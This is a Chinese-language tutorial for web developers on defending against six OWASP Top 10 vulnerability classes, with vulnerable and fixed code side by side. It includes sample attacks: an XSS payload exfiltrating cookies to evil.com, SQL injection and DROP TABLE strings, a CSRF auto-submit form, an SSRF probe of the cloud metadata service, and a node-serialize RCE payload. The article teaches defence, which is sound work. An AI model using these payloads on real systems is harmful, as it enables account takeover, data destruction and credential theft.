Web 安全:OWASP Top 10 实战防护
不懂 OWASP Top 10,写的 Web 应用就是筛子。本文讲清最常见的 Web 漏洞:XSS、SQL 注入、CSRF、SSRF、反序列化、越权,各自的原理、现代框架的防护、以及一个核心认知——输入不可信、输出要转义、用参数化查询,把安全刻进编码习惯。
本文要点
- 主题聚焦:React、DevOps
- 适合人群:独立开发者、全栈工程师、AI 应用开发者
- 核心价值:快速理解背景、实践路径、常见误区和工程建议
我接手过一个老项目,做的是用户评论功能。代码很朴素:前端表单 POST 文本,后端 INSERT 进 MySQL,展示时用模板字符串拼一下塞回 HTML。上线一周,有人在评论里贴了 <img src=x onerror=alert(document.cookie)>,后台管理员一打开评论列表,cookie 直接被发到攻击者服务器。那次事故的根因只有一条:开发者把用户输入当成了可信数据。
这种事每天都在发生,而且不挑团队大小。OWASP(Open Web Application Security Project)每隔几年会发布一份 Top 10——全球 Web 应用安全风险的统计清单。它不是教条,是十年事故数据浓缩出来的"最容易踩的坑"。这篇文章我把实战里最常见、写代码时最容易碰到的六类漏洞讲透,每一条都给漏洞代码和修复代码对比。看完你会发现:Web 安全 90% 的坑,都不是什么高深技巧,而是几条可以刻进肌肉记忆的编码习惯。
一、Web 安全是开发者的必修课,不是安全团队专属
很多团队的安全模式是这样:开发只管功能,上线前安全团队扫一遍,有问题再打回。这种模式在 2010 年还行,今天已经完全跟不上。
原因有三个。第一,现代应用攻击面爆炸式增长——OAuth、第三方回调、文件上传、AI 接口(把用户输入原样喂给 LLM 或 shell),每一个都是新的入口。第二,框架默认安全 ≠ 你的代码安全——React 默认转义了,但 dangerouslySetInnerHTML 一写就破功;Prisma 默认参数化,但你写了 $queryRaw 就绕过去了。第三,安全团队人力有限,真正能拦住的只有外部扫描器扫得到的那部分,业务逻辑漏洞(越权、竞态)扫描器完全看不见。
OWASP Top 10 给的就是一份开发者视角的 checklist。你不需要成为安全专家,但每次 code review 时心里要有这份清单:这段代码有没有注入风险?这个接口有没有鉴权?这个反序列化的数据来源是哪儿?把这些问题变成下意识的反射,你写出来的代码安全性会上一个台阶。
下面六类漏洞,是我在实际项目里见过最多、也最容易在 code review 里抓出来的。
二、XSS(跨站脚本):用户输入进 HTML,就是开门揖盗
原理:XSS 的本质就一句话——用户输入的内容,被原样塞进了 HTML,浏览器把它当代码执行了。
// ❌ 漏洞代码:经典反射型 XSS
app.get('/search', (req, res) => {
const q = req.query.q;
res.send(`<h1>搜索结果:${q}</h1>`); // q 直接拼进 HTML
});
// 攻击者构造: /search?q=<script>fetch('//evil.com?c='+document.cookie)</script>
用户访问这个 URL,自己的 cookie 就被偷走。存储型 XSS 更狠:评论、昵称、个人简介这种会被持久化、展示给其他用户的字段,一旦没转义,任何一个访问者都会中招——前面我接手的项目踩的就是这个坑。
防护有三层,缺一不可:
// ✅ 修复 1:React 默认就转义了,别主动破坏它
function Comment({ text }) {
return <p>{text}</p>; // 安全:React 自动转义 < > & " '
}
// ❌ 千万别这么写
function BadComment({ text }) {
return <div dangerouslySetInnerHTML={{ __html: text }} />; // XSS 直通车
}
// ✅ 修复 2:真的要渲染富文本,用 DOMPurify 白名单清洗
import DOMPurify from 'dompurify';
function RichText({ html }) {
return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />;
}
# ✅ 修复 3:部署 Content-Security-Policy,兜底防线
Content-Security-Policy: default-src 'self'; script-src 'self'
# 就算某处漏了转义,外部脚本也加载不进来
核心认知:React/Vue 这类现代框架默认是安全的,只要你不主动用 dangerouslySetInnerHTML / v-html,XSS 基本就堵住了。富文本场景必上 DOMPurify,CSP 是最后一道兜底。
三、SQL 注入:拼接 SQL 等于把数据库交出去
原理:把用户输入直接拼进 SQL 字符串,用户就能改变 SQL 的语义。
// ❌ 漏洞代码:教科书级 SQL 注入
app.post('/login', async (req, res) => {
const { username, password } = req.body;
const sql = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
const rows = await db.query(sql);
// 攻击者输入 username: admin' --
// 实际执行:SELECT * FROM users WHERE username='admin' --' AND password='...'
// 密码校验直接被注释掉了
});
更狠的Payload 能用 UNION SELECT 拖出整张表,或者 ; DROP TABLE users; -- 直接删库。这事听起来像段子,但 2024 年还有公司在踩。
防护:参数化查询,一句话的事。
// ✅ 修复 1:参数化查询(占位符),数据库驱动会处理转义
const sql = `SELECT * FROM users WHERE username = ? AND password = ?`;
const rows = await db.query(sql, [username, password]);
// ✅ 修复 2:用 ORM(Prisma / TypeORM / Sequelize),默认就是参数化的
const user = await prisma.user.findFirst({
where: { username, password },
});
// ⚠️ 注意:ORM 不是万能的,自己写原始 SQL 一样会中招
const bad = await prisma.$queryRaw`SELECT * FROM users WHERE name='${name}'`; // ❌ 注入
const good = await prisma.$queryRaw`SELECT * FROM users WHERE name=${name}`; // ✅ Prisma 标签模板自动参数化
核心认知:永远、永远不要用字符串拼接构造 SQL。无论用什么语言、什么数据库,参数化查询是唯一正确的做法。没有例外,没有"这次输入是可信的"这种话。
四、CSRF(跨站请求伪造):借你的 cookie 干坏事
原理:浏览器请求一个 URL 时会自动带上目标域的 cookie。攻击者在 evil.com 放一个表单,提交到 bank.com/transfer,如果你的浏览器里存着 bank.com 的登录态,这次转账就成功了——服务器以为是你本人操作的。
<!-- ❌ 攻击者在 evil.com 放的页面 -->
<form action="https://bank.com/transfer" method="POST">
<input name="to" value="attacker">
<input name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>
<!-- 用户访问 evil.com,浏览器自动带上 bank.com 的 cookie,转账完成 -->
防护有两道,推荐一起上:
// ✅ 修复 1:Cookie 设置 SameSite 属性(现代浏览器默认就是 Lax)
res.cookie('session', token, {
httpOnly: true, // JS 读不到,防 XSS 偷 cookie
secure: true, // 只走 HTTPS
sameSite: 'Lax', // 跨站请求不带 cookie,CSRF 直接哑火
});
// ✅ 修复 2:CSRF Token,对状态变更接口强制校验
// 前端从 cookie 读 XSRF-TOKEN,放到请求头 X-XSRF-TOKEN
// 服务端比对 cookie 和 header 是否一致(攻击者读不到同源 cookie)
app.post('/transfer', csrfProtection, handler);
核心认知:SameSite=Lax 解决了绝大多数 CSRF 场景,这是 2026 年的默认起点,不是优化项。涉及支付、转账这种高敏操作,再叠加 CSRF Token 双保险。
五、SSRF(服务端请求伪造):让服务端替你打内网
原理:服务端提供了一个"帮你请求 URL"的功能(图片代理、webhook 回调、URL 预览),攻击者把 URL 换成内网地址,服务端就替他去访问了内网——而内网通常没有鉴权。
// ❌ 漏洞代码:URL 预览功能
app.get('/preview', async (req, res) => {
const url = req.query.url;
const resp = await fetch(url); // 用户传啥就请求啥
const html = await resp.text();
res.send(html);
});
// 攻击者构造: /preview?url=http://169.254.169.254/latest/meta-data/
// 在 AWS 上直接拿到实例的 IAM 凭证,然后横向移动到整个云账号
169.254.169.254 是云厂商的元数据服务地址(AWS/GCP/Azure 都有),阿里云是 100.100.100.200。SSRF 一旦能打到这个地址,往往等于整个云账号沦陷——这是近年来数据泄露事故里最惨烈的一类。
防护:出站请求白名单 + 内网地址过滤。
// ✅ 修复:出站白名单 + 禁止解析到内网
import { lookup } from 'node:dns/promises';
async function safeFetch(urlStr) {
const u = new URL(urlStr);
// 1. 协议白名单:只允许 http/https
if (!['http:', 'https:'].includes(u.protocol)) throw new Error('bad scheme');
// 2. 域名白名单(业务相关):只允许你信任的几个外部域名
if (!ALLOWED_HOSTS.includes(u.hostname)) throw new Error('host not allowed');
// 3. 解析 DNS 后检查 IP,拒绝内网/回环/元数据地址
const { address } = await lookup(u.hostname);
if (isPrivateIP(address)) throw new Error('internal IP blocked');
return fetch(u);
}
function isPrivateIP(ip) {
return ip.startsWith('10.') || ip.startsWith('192.168.') ||
ip.startsWith('169.254.') || ip.startsWith('127.') ||
/^172\.(1[6-9]|2\d|3[01])\./.test(ip) || ip === '100.100.100.200';
}
核心认知:任何"服务端代用户发请求"的接口,都要把 SSRF 当头号风险。光做字符串过滤(黑名单)不够,要先解析 DNS 拿到真实 IP 再判断,否则攻击者可以用自己的 DNS 解析到内网地址绕过。
六、不安全反序列化:把不可信数据"复活"成对象
原理:Java 的 ObjectInputStream.readObject、Python 的 pickle.loads、Node 的 serialize.unserialize、PHP 的 unserialize,这些函数会把字节流还原成对象,过程中可能触发对象构造方法或魔术方法。攻击者构造特殊的字节流,反序列化时直接执行任意代码。
// ❌ 漏洞代码:Node 的 node-serialize 库
const serialize = require('node-serialize');
const obj = serialize.unserialize(req.cookies.session);
// 攻击者 cookie 里塞:{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('...')}()"}
// 反序列化时函数被立即调用,RCE 达成
这种漏洞的特点是利用门槛低、危害顶格(RCE),而且往往是开发者为图省事,把对象序列化后塞进 cookie 或缓存,根本没意识到这是颗炸弹。
防护就一句话:
// ✅ 修复:不要反序列化不可信数据
// - 用 JSON.parse / JSON.stringify,JSON 不支持函数,天然安全
const session = JSON.parse(req.cookies.session);
// - Java 用 Jackson / Gson 这种只反序列化数据的库,别用原生 ObjectInputStream
// - Python 别用 pickle 处理用户输入,改用 json
// - 真要传结构化数据,签名 + JSON
核心认知:任何 unserialize / pickle.loads / readObject 接收外部数据的代码,都是高危。现代应用几乎没有理由用语言原生的二进制反序列化处理用户输入,JSON 已经够用了。
七、越权:你的接口可能谁都能调
原理:越权分两种。水平越权——用户 A 通过改 URL 里的 ID,访问到用户 B 的数据。垂直越权——普通用户调到了管理员才能用的接口。
// ❌ 漏洞代码:经典水平越权
app.get('/api/orders/:id', authMiddleware, async (req, res) => {
const order = await prisma.order.findUnique({ where: { id: req.params.id } });
res.json(order); // 没校验这个订单属不属于当前用户!
});
// 用户 A 登录后,/api/orders/<B的订单ID> 直接拿到 B 的订单
这种漏洞扫描器扫不出来,因为请求本身是合法的、鉴权也是通过的——它缺的是所有权校验。常见于"看了别人的购物车""改了别人的收货地址"这类事故。
防护:每次操作资源,都校验当前用户对该资源的所有权。
// ✅ 修复 1:查询时直接带上 userId 条件
app.get('/api/orders/:id', authMiddleware, async (req, res) => {
const order = await prisma.order.findFirst({
where: { id: req.params.id, userId: req.user.id }, // 关键:AND userId
});
if (!order) return res.status(404).end();
res.json(order);
});
// ✅ 修复 2:角色/权限用统一中间件校验(垂直越权)
app.delete('/api/users/:id', requireRole('admin'), handler);
核心认知:鉴权(是不是登录用户)≠ 授权(能不能动这个资源)。每一个涉及具体资源的接口,都要问自己一句:这个用户对这条数据有所有权吗?把这一步做成代码里的肌肉记忆——findFirst({ where: { id, userId } }) 永远比 findUnique({ where: { id } }) 安全。
八、通用原则:把安全刻进编码习惯
这六类漏洞背后,是几条可以背诵的通用原则:
- 输入不可信:用户输入、第三方回调、文件内容、URL 参数,凡是穿越信任边界的数据,默认都有毒。校验类型、长度、格式,用白名单不要黑名单。
- 输出要转义:数据从哪儿来,决定它能不能进 HTML / SQL / shell / 命令行。进入某个解释器之前,必须按那个解释器的规则转义。
- 最小权限:数据库账号只给业务必需的权限(别拿 root 跑应用);服务端出站默认拒绝;token 只签必要 scope。
- 默认安全:Cookie 默认
httpOnly + secure + sameSite,CORS 默认不允许凭证,框架默认参数化,把安全做成默认行为,而不是事后打补丁。 - 深度防御:转义 + CSP、参数化 + 最小权限账号、SameSite + CSRF Token——任何单一防线都可能失效,重要资产叠两层。
这些原则不依赖具体框架、不依赖语言版本,是能跟你一辈子的。
小结
- Web 安全是开发者的责任,不是安全团队的专利。OWASP Top 10 是开发者视角的清单,code review 时心里要有它。
- XSS 靠输出转义:React 默认安全,别用
dangerouslySetInnerHTML,富文本上 DOMPurify,CSP 兜底。 - SQL 注入靠参数化查询:永不拼字符串,用占位符或 ORM,自己写 raw SQL 时一样要参数化。
- CSRF 靠 SameSite cookie + CSRF Token:现代应用默认
SameSite=Lax,高敏接口再加 Token。 - SSRF 靠出站白名单 + 内网过滤:云元数据地址必须屏蔽,先解析 DNS 再判断 IP。
- 反序列化靠"别碰不可信数据":用 JSON,远离原生二进制反序列化。
- 越权靠"每次校验所有权":鉴权解决"是不是用户",授权解决"能不能动这个资源",两件事。
金句:输入不可信,输出要转义,用参数化查询——把这三句刻进肌肉记忆,90% 的 Web 漏洞就和你无关了。
Related